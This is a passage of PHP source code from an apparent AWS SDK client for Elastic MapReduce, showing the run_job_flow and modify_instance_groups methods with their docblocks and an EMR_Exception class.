	 * 	<li><code>returnCurlHandle</code> - <code>boolean</code> - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.</li></ul>
	 * @return CFResponse A <CFResponse> object containing a parsed HTTP response.
	 */
	public function run_job_flow($name, $instances, $opt = null)
	{
		if (!$opt) $opt = array();
		$opt['Name'] = $name;

		// Collapse these list values for the required parameter
		if (isset($instances['InstanceGroups']))
		{
			$instances['InstanceGroups'] = CFComplexType::map(array(
				'member' => (is_array($instances['InstanceGroups']) ? $instances['InstanceGroups'] : array($instances['InstanceGroups']))
			));
		}

		// Required parameter
		$opt = array_merge($opt, CFComplexType::map(array(
			'Instances' => (is_array($instances) ? $instances : array($instances))
		), 'member'));

		// Optional parameter
		if (isset($opt['Steps']))
		{
			$opt = array_merge($opt, CFComplexType::map(array(
				'Steps' => $opt['Steps']
			), 'member'));
			unset($opt['Steps']);
		}

		// Optional parameter
		if (isset($opt['BootstrapActions']))
		{
			$opt = array_merge($opt, CFComplexType::map(array(
				'BootstrapActions' => $opt['BootstrapActions']
			), 'member'));
			unset($opt['BootstrapActions']);
		}

		return $this->authenticate('RunJobFlow', $opt, $this->hostname);
	}

	/**
	 *
	 * ModifyInstanceGroups modifies the number of nodes and configuration settings of an instance group. The input parameters include the new
	 * target instance count for the group and the instance group ID. The call will either succeed or fail atomically.
	 *
	 * @param array $opt (Optional) An associative array of parameters that can have the following keys: <ul>
	 * 	<li><code>InstanceGroups</code> - <code>array</code> - Optional - Instance groups to change. <ul>
	 * 		<li><code>x</code> - <code>array</code> - This represents a simple array index. <ul>
	 * 			<li><code>InstanceGroupId</code> - <code>string</code> - Required - Unique ID of the instance group to expand or shrink. </li>
	 * 			<li><code>InstanceCount</code> - <code>integer</code> - Required - Target size for the instance group. </li>
	 * 		</ul></li>
	 * 	</ul></li>
	 * 	<li><code>curlopts</code> - <code>array</code> - Optional - A set of values to pass directly into <php:curl_setopt()>, where the key is a pre-defined <code>CURLOPT_*</code> constant.</li>
	 * 	<li><code>returnCurlHandle</code> - <code>boolean</code> - Optional - A private toggle specifying that the cURL handle be returned rather than actually completing the request. This toggle is useful for manually managed batch requests.</li></ul>
	 * @return CFResponse A <CFResponse> object containing a parsed HTTP response.
	 */
	public function modify_instance_groups($opt = null)
	{
		if (!$opt) $opt = array();

		// Optional parameter
		if (isset($opt['InstanceGroups']))
		{
			$opt = array_merge($opt, CFComplexType::map(array(
				'InstanceGroups' => $opt['InstanceGroups']
			), 'member'));
			unset($opt['InstanceGroups']);
		}

		return $this->authenticate('ModifyInstanceGroups', $opt, $this->hostname);
	}
}


/*%******************************************************************************************%*/
// EXCEPTIONS

/**
 * Default EMR Exception.
 */
class EMR_Exception extends Exception {}